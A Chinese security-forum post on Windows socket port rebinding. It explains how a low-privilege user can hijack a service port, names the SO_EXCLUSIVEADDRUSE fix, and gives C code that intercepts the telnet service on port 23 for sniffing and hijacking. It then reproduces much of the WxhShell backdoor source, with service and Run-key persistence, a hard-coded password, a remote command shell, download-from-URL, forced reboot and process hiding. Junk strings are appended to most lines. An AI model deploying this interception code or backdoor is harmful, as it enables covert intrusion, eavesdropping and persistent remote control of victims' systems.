社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11672阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m kexc~l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cNH7C"@GVu  
;Qq\DFe.w  
  saddr.sin_family = AF_INET; ~5g~;f[4  
`{Ul!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c9Yrw^  
o(HbGHIP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <QvOs@i*  
 @8 6f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +v\oOBB)  
NO3/rJ6-  
  这意味着什么?意味着可以进行如下的攻击: j#6.Gq  
qb4z T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e;jdqF~v!  
o}!PQ#`M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ME dWLFf  
UI#h&j5pW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ww/Uzv  
[!z,lY>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u4j5w  
 XilS!,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P%zK;#8V  
CWlw0 X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M`>E|" <  
1"g<0 W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >V~E]P%@  
:-'qC8C  
  #include ]{iQ21`a-  
  #include yjAL\U7`T  
  #include l ,8##7  
  #include    MPV5P^@X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A's{j7  
  int main() g){<y~Mk  
  { KSvE~h[#+  
  WORD wVersionRequested; ys~x $  
  DWORD ret; 6 r"<jh#  
  WSADATA wsaData; pUTr!fR  
  BOOL val; rKn~qVls  
  SOCKADDR_IN saddr; &vJH$R  
  SOCKADDR_IN scaddr; :>*7=q=  
  int err; r,udO,Yi=c  
  SOCKET s; ;fJ.8C  
  SOCKET sc; TN.rrop`#g  
  int caddsize; /\Ef%@  
  HANDLE mt; Fp:'M X  
  DWORD tid;   @VBcJ{e,  
  wVersionRequested = MAKEWORD( 2, 2 ); "#]$r  
  err = WSAStartup( wVersionRequested, &wsaData ); :0ep( <|;  
  if ( err != 0 ) { OnK4] S5  
  printf("error!WSAStartup failed!\n"); R8 T x[CJ5  
  return -1; xmG<]WF>E  
  } G#CXs:1pd+  
  saddr.sin_family = AF_INET; ""H?gsL[  
   hj:,S |  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *Uh!>Iv;  
RpK@?[4s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sRW<me;  
  saddr.sin_port = htons(23); K8~d^G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +:f"Y0  
  { hc1N ~$3!G  
  printf("error!socket failed!\n"); `gJ(0#ac  
  return -1; g :OI  
  } yr6V3],Tp  
  val = TRUE; "z c l|@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nEfK53i_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O=lzT~G|4  
  { [ }:$yg  
  printf("error!setsockopt failed!\n"); nu^436MSOa  
  return -1; ]yu:i-SfP  
  } G6/m#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d1*<Ll9K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nNm`Hfi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4W])}C %  
>7FHo-H/T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DqPw#<"H  
  { !<oe=)Iz|  
  ret=GetLastError(); TseGXYH  
  printf("error!bind failed!\n"); ~@!bsLSMU  
  return -1; I|OoRq  
  } j+!v}*I![  
  listen(s,2); 9ati`-y2  
  while(1) ~[ F`"  
  { H.;Q+A,8^  
  caddsize = sizeof(scaddr); pw#-_  
  //接受连接请求 ZC ?Xqp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n|hNM?v  
  if(sc!=INVALID_SOCKET) G B^Br6  
  { 9$Y=orpWxr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 83m3OD_y  
  if(mt==NULL) ~>G^=0LT  
  { CAlCDfKW}  
  printf("Thread Creat Failed!\n"); @d_M@\r=j  
  break; KXrjqqXs  
  } E{\2='3\  
  } Y@v>FlqI{  
  CloseHandle(mt); YQ} o?Q$z  
  } . me;.,$#  
  closesocket(s); .X&9Q9T=#  
  WSACleanup(); t7pFW^&  
  return 0; jo7\`#(Q  
  }   /}$+uBgJm  
  DWORD WINAPI ClientThread(LPVOID lpParam) hb-%_c"kq  
  { x38 QD;MT  
  SOCKET ss = (SOCKET)lpParam; b$7 +;I;  
  SOCKET sc;  k'YTpO  
  unsigned char buf[4096]; DH=hH&[e(d  
  SOCKADDR_IN saddr; FwK] $4*  
  long num; NHt\ U9l'  
  DWORD val; N#] ypl  
  DWORD ret; f^e)O$N9]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SJLis"8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7=uj2.J6  
  saddr.sin_family = AF_INET; JT?h1v<H]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zCA2X !7F  
  saddr.sin_port = htons(23); [Pp'Ye~K@c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k+ /6$pI  
  { xo)P?-  
  printf("error!socket failed!\n"); cNrg#Asen&  
  return -1; 54,er$$V  
  } pCDmXB  
  val = 100; W)/#0*7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5G#n"}T  
  { ^q&x7Kv%  
  ret = GetLastError(); F@t3!bj9  
  return -1; iscz}E,Y  
  } #Z#-Ht  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X2_=agEP  
  {  }ZI7J  
  ret = GetLastError(); V9vTsmo(  
  return -1; Iv *<L a  
  } \['Cj*ek  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) / FII07V  
  { :s,Z<^5a)g  
  printf("error!socket connect failed!\n"); n<,BmVQ  
  closesocket(sc); ,uvRi)O>a  
  closesocket(ss); zA 3_Lx!  
  return -1; kM 6 Qp  
  } NbobliC=  
  while(1) e.>P8C<&  
  { #E[0ys1O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9?$i?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (Z*!#}z`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .`lCWeHN  
  num = recv(ss,buf,4096,0); 6863xOv{T  
  if(num>0) ' QG?nu  
  send(sc,buf,num,0); R-:2HRaA  
  else if(num==0) ?[AD=rUC  
  break; K'bP@y_cq  
  num = recv(sc,buf,4096,0); Z;i:](  
  if(num>0) Dv"9qk  
  send(ss,buf,num,0); ;gkM{={`p  
  else if(num==0) |4JEU3\$  
  break; 4 5e~6",  
  } sB</DS  
  closesocket(ss); s%S  
  closesocket(sc); Hz~zu{;{J  
  return 0 ;  g-A-kqo9  
  } r$1Qf}J3=  
EPm/r  
;jXgAAz7  
========================================================== *hx  
vd ZW%-A&\  
下边附上一个代码,,WXhSHELL d$RIS+V  
eDMO]5}Ht  
========================================================== ]lbuy7xj63  
}6#  
#include "stdafx.h" 1^}+=~  
|=w@H]r  
#include <stdio.h> f 2.HF@  
#include <string.h> q'DW~!>qX  
#include <windows.h> ^#$n~]s  
#include <winsock2.h> Wri<h:1  
#include <winsvc.h> b sX[UF  
#include <urlmon.h> 53D]3  
A<{{iBEI`  
#pragma comment (lib, "Ws2_32.lib") d~H`CrQE*  
#pragma comment (lib, "urlmon.lib") ?}0,o.  
*g%yRU{N  
#define MAX_USER   100 // 最大客户端连接数 %A`+WYeuX  
#define BUF_SOCK   200 // sock buffer t!XwW$@  
#define KEY_BUFF   255 // 输入 buffer vt8By@]:  
n[z+<VGwC  
#define REBOOT     0   // 重启 Wc#24:OKe3  
#define SHUTDOWN   1   // 关机 +2{Lh7Ks  
JI}'dU>*U:  
#define DEF_PORT   5000 // 监听端口 khe}*y  
u[YGm:}  
#define REG_LEN     16   // 注册表键长度 L_T5nD^D  
#define SVC_LEN     80   // NT服务名长度  )2.Si#  
DI>s-7  
// 从dll定义API e= AKD#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yAt ^;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WJ#[LF!e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \e;iT\=.(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  @5FQX  
A&VG~r$  
// wxhshell配置信息 Ytkv!]"  
struct WSCFG { k:;r2f  
  int ws_port;         // 监听端口 az$FnVNn=  
  char ws_passstr[REG_LEN]; // 口令 v+XJ*N[W  
  int ws_autoins;       // 安装标记, 1=yes 0=no %v|B *  
  char ws_regname[REG_LEN]; // 注册表键名 }tz7b#  
  char ws_svcname[REG_LEN]; // 服务名 [WmM6UEVS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iMlWM-wz>O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h0$iOE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &8H'eAA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l **X^+=$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U6K|fY N`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w{KavU5W  
Hka2  
}; L,\Iasv  
aUp g u"  
// default Wxhshell configuration 80I#TA6C  
struct WSCFG wscfg={DEF_PORT, w:0E(z  
    "xuhuanlingzhe", p{_ " bB  
    1, @C$]//;  
    "Wxhshell", s<Ziegmw|g  
    "Wxhshell", d=(mw_-?  
            "WxhShell Service", LoV<:|GTI  
    "Wrsky Windows CmdShell Service", qPNR`%}Q  
    "Please Input Your Password: ", R_C)  
  1, _f83-':W6  
  "http://www.wrsky.com/wxhshell.exe", 4 KiY6)  
  "Wxhshell.exe" (=0.inZ  
    }; XSR 4iu  
;l+Leex  
// 消息定义模块 # d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vr}'.\$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l#o ~W`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .A|udZ,  
char *msg_ws_ext="\n\rExit."; )5, v!X)  
char *msg_ws_end="\n\rQuit."; =bOW~0Z1  
char *msg_ws_boot="\n\rReboot..."; {c'lhUB  
char *msg_ws_poff="\n\rShutdown..."; ]Ze1s02(  
char *msg_ws_down="\n\rSave to "; 0B2t"(&  
4x34u}l  
char *msg_ws_err="\n\rErr!"; %J(:ADu]  
char *msg_ws_ok="\n\rOK!"; W\3X=@|u)  
9{l}bu/u  
char ExeFile[MAX_PATH]; dPlV>IM$z  
int nUser = 0; T)/eeZ$  
HANDLE handles[MAX_USER]; FPz9N@M%Q  
int OsIsNt; o/E >f_k[  
Ui~>SN>s  
SERVICE_STATUS       serviceStatus; 1}x%%RD_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oR'm2d^  
b6bHTH0  
// 函数声明 (QEG4&9  
int Install(void); +7Gwg  
int Uninstall(void); @ Y+oiB~Y  
int DownloadFile(char *sURL, SOCKET wsh); [0!(xp^  
int Boot(int flag); 01]f2.5  
void HideProc(void); d{?LD?,)  
int GetOsVer(void); us-L]S+lm  
int Wxhshell(SOCKET wsl); j#|ZP-=1_  
void TalkWithClient(void *cs); -@'FW*b  
int CmdShell(SOCKET sock); q9"96({\@  
int StartFromService(void); i1UsIT  
int StartWxhshell(LPSTR lpCmdLine); e'~3oqSvR  
Q ,g\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7!1S)dup  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3] Ct6  
(PL UFT  
// 数据结构和表定义 m O_af  
SERVICE_TABLE_ENTRY DispatchTable[] = 2/?|&[  
{ ch]IzdD  
{wscfg.ws_svcname, NTServiceMain}, #a#F,ZT  
{NULL, NULL} }j Xfb@`K  
}; O- wzz  
x2xRBkRg=  
// 自我安装 sJZ iI}Xc  
int Install(void) [agMfn  
{ ,tFg4k[  
  char svExeFile[MAX_PATH]; YK_ 7ip.a[  
  HKEY key; 4#D,?eA7  
  strcpy(svExeFile,ExeFile); dtDFoETz  
/ZX }Nc g  
// 如果是win9x系统,修改注册表设为自启动 \bXa&Lq  
if(!OsIsNt) { =;L|gtH"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UQsN'r\tS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #!=tDc &  
  RegCloseKey(key); VbYdZCC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }f ?y* H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a?1Wq  
  RegCloseKey(key); KI.unP%  
  return 0; *. t^MP  
    } W?& %x(6M  
  } tQVVhXQ7  
} ^iA9%zp  
else { 7V>M]  
X w1*(ffk  
// 如果是NT以上系统,安装为系统服务 *~`(RV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h[ ZN+M  
if (schSCManager!=0) kJU2C=m@e2  
{  " bG2:  
  SC_HANDLE schService = CreateService 6BlXLQ,8q  
  ( JF]JOI6.e  
  schSCManager, (Ldi|jL  
  wscfg.ws_svcname, bA 2pbjg=  
  wscfg.ws_svcdisp, @Qe0! (_=  
  SERVICE_ALL_ACCESS, rv;3~'V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :RYTL'hes  
  SERVICE_AUTO_START, x`s>*^  
  SERVICE_ERROR_NORMAL, 7<4qQ.deE  
  svExeFile, _1^'(5f$  
  NULL, crCJrN=  
  NULL, \8tsDG(1 '  
  NULL, [[ZJ]^n,  
  NULL, )7@0[>  
  NULL )oZ dj`  
  ); lZ0 =;I  
  if (schService!=0) okXl8&mi  
  { 9WHddDA  
  CloseServiceHandle(schService); gw(z1L5 n  
  CloseServiceHandle(schSCManager); [ ~,AfY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b>k y  
  strcat(svExeFile,wscfg.ws_svcname); =1! 'QUc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fA-7VdR`R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]n~V!hl?A  
  RegCloseKey(key); )u">it+  
  return 0; yZ:qU({KhD  
    } CLSK'+l  
  } Ac6=(B  
  CloseServiceHandle(schSCManager); & kIFcd@  
} YIE<pX4Q7)  
} 6*?F@D2&  
6~{C.No}  
return 1; zDp2g)  
} a.'*G6~Qgw  
J4utIGF  
// 自我卸载 :N@^?q{b  
int Uninstall(void) B!yr!DWv  
{ /?!u{(h}  
  HKEY key; <i[HbgUlO.  
t) +310w  
if(!OsIsNt) { @x1-! ~z#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PH"%kCI:  
  RegDeleteValue(key,wscfg.ws_regname); $( )>g>%  
  RegCloseKey(key); ?"FbsMk.d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { neh(<>  
  RegDeleteValue(key,wscfg.ws_regname); "b[5]Y{ U  
  RegCloseKey(key); @o^Ww  
  return 0; ;jPXs  
  } 5xde;  
} l0] EX>"E  
} 4 :=]<sc,  
else { a?.=V  
@;kSx":b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q?T]MUY(L  
if (schSCManager!=0) hph4`{T  
{ h![#;>(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8fb'yjIC  
  if (schService!=0) >7r!~+B"9'  
  { ,[Fb[#Qqb  
  if(DeleteService(schService)!=0) { O f#:  
  CloseServiceHandle(schService); /xQPTT  
  CloseServiceHandle(schSCManager); t5zKW _J7  
  return 0; %SI'BJ  
  } 4YHY7J  
  CloseServiceHandle(schService); f)!Z~t &  
  } Fi1@MG5$2  
  CloseServiceHandle(schSCManager); zL it  
} P4?glh q#  
} ddo#P%sH'  
-N@|QK>  
return 1; -/k 3a*$/  
} & ~!Wym  
} %z   
// 从指定url下载文件 aT<q=DO  
int DownloadFile(char *sURL, SOCKET wsh) "ta x?  
{ R3! t$5HG  
  HRESULT hr; jal-9NV)!  
char seps[]= "/"; HThcn1u~^b  
char *token; J;%Xfx]  
char *file; _|]x2xb)  
char myURL[MAX_PATH]; m,S{p<-h  
char myFILE[MAX_PATH]; .B yuN  
2%> FR4a  
strcpy(myURL,sURL); oE~RyS X  
  token=strtok(myURL,seps); xpI wrJO  
  while(token!=NULL) P$sxr  
  { Y~Ifj,\  
    file=token; IAEAhqp  
  token=strtok(NULL,seps); nie%eC&U  
  } Wf<LR3  
bfO=;S]b!  
GetCurrentDirectory(MAX_PATH,myFILE); `kr?j:g  
strcat(myFILE, "\\"); a> )f=uS  
strcat(myFILE, file); w:l"\Tm  
  send(wsh,myFILE,strlen(myFILE),0); <or2  
send(wsh,"...",3,0); W l1 6`9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - DCbko  
  if(hr==S_OK) yBRC*0+Vy  
return 0; m3ff;,  
else 4sM.C9W  
return 1; 4~=l}H>&  
0ksa  
} ?}7p"3j'z  
<| &Npd'  
// 系统电源模块 , dp0;nkr  
int Boot(int flag) 5coZ|O&f8  
{ fX)# =c|5  
  HANDLE hToken; Wvqhl 'J  
  TOKEN_PRIVILEGES tkp; Hef g[$m  
aoTP [Bp  
  if(OsIsNt) { %bfZn9_m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rGkyGz8>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kN>!2UfNS  
    tkp.PrivilegeCount = 1; \?N2=jsu$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - YV>j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .m AjfP*  
if(flag==REBOOT) { fAmz4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5-G@L?~Vw  
  return 0; 9/;P->wy  
} TPY}C  
else { rbpSg7}Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :ivf/x n  
  return 0; j=J/x:w_e  
} ?rIx/>C9  
  } g ci    
  else { 0^ibNiSP  
if(flag==REBOOT) { '\GbmD^F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v}x&?fU `  
  return 0; G9 :l'\  
} V> bCKtf&  
else { j5ve2LiFV%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EIQ p>|5  
  return 0; -(#iIgmP  
} ]7mt[2 Cd  
} gdoLyxQ  
-gWZwW/lD  
return 1; PT9*)9<L  
} Faf&U%]*`  
~nPtlrQa#*  
// win9x进程隐藏模块 %#}Zy   
void HideProc(void) Lxk[;j+  
{ ZW}_Q s  
mQ=#nk$~g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YF:L)0H'O  
  if ( hKernel != NULL ) @v B!u[{  
  { 39|MX21k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &I406Z f7y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;'Nd~:-]  
    FreeLibrary(hKernel); QwJyY{O`  
  } d M-%{  
9E6R0D}  
return; pD74+/DD  
} 3t6 LT  
9I/N4sou  
// 获取操作系统版本 w\brVnt  
int GetOsVer(void) B+0hzkPY  
{ hG:|9Sol,  
  OSVERSIONINFO winfo; j w9b )  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \j)E 5b+  
  GetVersionEx(&winfo); I9Fr5p-%O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9k~8  
  return 1; n}77##+R&C  
  else PzR[KUK  
  return 0; 9$m|'$p3sG  
} C/&-l{7  
,=mS,r7  
// 客户端句柄模块 IkXx# )  
int Wxhshell(SOCKET wsl) M:6"H%h,W  
{ I0 RvnMw  
  SOCKET wsh; KK%M~Y+tU'  
  struct sockaddr_in client; TBrPf-Xr  
  DWORD myID; Fr$5RAyg  
2wgg7[tGi  
  while(nUser<MAX_USER) V#}kwON  
{ 0<B$#8  
  int nSize=sizeof(client); tdaL/rRe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $lu t[o74  
  if(wsh==INVALID_SOCKET) return 1; n\.Vqe  
LYg- .~<I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HX{`Vah E  
if(handles[nUser]==0) w8D"CwS1Rx  
  closesocket(wsh); A_#DJJMm  
else lUiL\~Gq  
  nUser++; /[>sf[X\I9  
  } T${Q.zHY[!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N{~Y J$!8  
]]juN  
  return 0; @Pzu^  
} E=w1=,/y  
14'45  
// 关闭 socket 5Zva:  
void CloseIt(SOCKET wsh) .eP.&  
{ g|Fn7]G  
closesocket(wsh); HgkC~'  
nUser--; E`k@{*Hn&  
ExitThread(0); qWKAM@  
} ]P2"[y  
$"&{aa  
// 客户端请求句柄 [=]4-q6UN  
void TalkWithClient(void *cs) M[112%[+4  
{ ohGfp9H  
`I5wV/%ib  
  SOCKET wsh=(SOCKET)cs; [,KXze_m  
  char pwd[SVC_LEN]; (DP &B%Sf  
  char cmd[KEY_BUFF]; \K<QmK  
char chr[1]; Q&| \r  
int i,j; 9,'ncw$/C  
qXjxNrK  
  while (nUser < MAX_USER) { Nm>A'bLM  
LAe6`foW/  
if(wscfg.ws_passstr) { 4vV:EF-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +|>kCtZH%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }k G9!sf  
  //ZeroMemory(pwd,KEY_BUFF); we?76t:-  
      i=0; N<KS(@v y  
  while(i<SVC_LEN) { O|N{ v"o  
*~j@*{u  
  // 设置超时 q,U+qt  
  fd_set FdRead; f! .<$ih  
  struct timeval TimeOut; _aMPa+D=P  
  FD_ZERO(&FdRead); Yr=Y@~ XL  
  FD_SET(wsh,&FdRead); 6;qy#\}2  
  TimeOut.tv_sec=8; r s?R:+  
  TimeOut.tv_usec=0; Ktm4 A O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c#tjp(-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y.ToIka{  
A^EE32kbm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1,!(0 5H  
  pwd=chr[0]; W#C*5@8  
  if(chr[0]==0xd || chr[0]==0xa) {  XJ5 .  
  pwd=0;  A4<Uu~  
  break; m&?r%x  
  } A1?2*W  
  i++; ;H.^i|_/  
    } ZH)="qx [  
JNUt$h  
  // 如果是非法用户,关闭 socket zeC RK+-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u4%Pca9(=  
} Y6L ~K?  
M$8^91%4B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oW Nh@C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tWa) _y  
:s6o"VkW  
while(1) { X~,aNRy  
_v=SH$O+  
  ZeroMemory(cmd,KEY_BUFF); Q=20IQp  
z4]api(xZ  
      // 自动支持客户端 telnet标准   58J}{Req  
  j=0; zb<6 Ov  
  while(j<KEY_BUFF) { q,eVjtF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BV upDGh3  
  cmd[j]=chr[0]; !*. -`$x  
  if(chr[0]==0xa || chr[0]==0xd) { .oUTqki  
  cmd[j]=0; 6s/&BR  
  break; mh[75(  
  } I \JGs@I   
  j++; $.rhRKs  
    } Rn I&8  
xJ)n4)  
  // 下载文件 z(^]J`+\  
  if(strstr(cmd,"http://")) { )i^<r;_z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vv+z'(l  
  if(DownloadFile(cmd,wsh)) Mz~D#6=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6U,O*WJ%e  
  else dl@%`E48w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ouFYvtFg  
  } ]cMqahaY  
  else { f-n1I^|  
* 8_wYYH  
    switch(cmd[0]) { bNNr]h8y-  
  fs%.}^kn  
  // 帮助 doy`C)xI  
  case '?': { DOJN2{IP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '>0fWBs  
    break; <drODjB  
  } 8tFoN*M  
  // 安装 EbE-}>7OO  
  case 'i': { MgrLSKLT  
    if(Install()) /M4{Wc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T iiWp!mX  
    else H>B&|BO_[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {U m)15K  
    break; wlk4*4dKn  
    } L(-b@Joh  
  // 卸载 _JE"{ ;  
  case 'r': { b@f$nS B  
    if(Uninstall()) '*w00  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CtAwBQO  
    else u5 : q$P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dCk3;XU  
    break; n}G|/v<  
    } FZ,#0ZYJGP  
  // 显示 wxhshell 所在路径 8UyMVY  
  case 'p': { ?!cvf{a  
    char svExeFile[MAX_PATH]; $79=lEn,  
    strcpy(svExeFile,"\n\r"); HxK80mJ  
      strcat(svExeFile,ExeFile); ` a/%W4  
        send(wsh,svExeFile,strlen(svExeFile),0); t@N=kV  
    break; @u]rWVy;\[  
    } -w_QJ_z_  
  // 重启 ua]o6GlO  
  case 'b': { _EMwm&!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DN~nk  
    if(Boot(REBOOT)) u!X|A`o5i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qHrA%k^!2O  
    else { NzSoqh{R  
    closesocket(wsh); N<|Nwq:NN  
    ExitThread(0); lWc:$qnR-K  
    } )V6Hl@v  
    break; Id|L`  w  
    } C=It* j55  
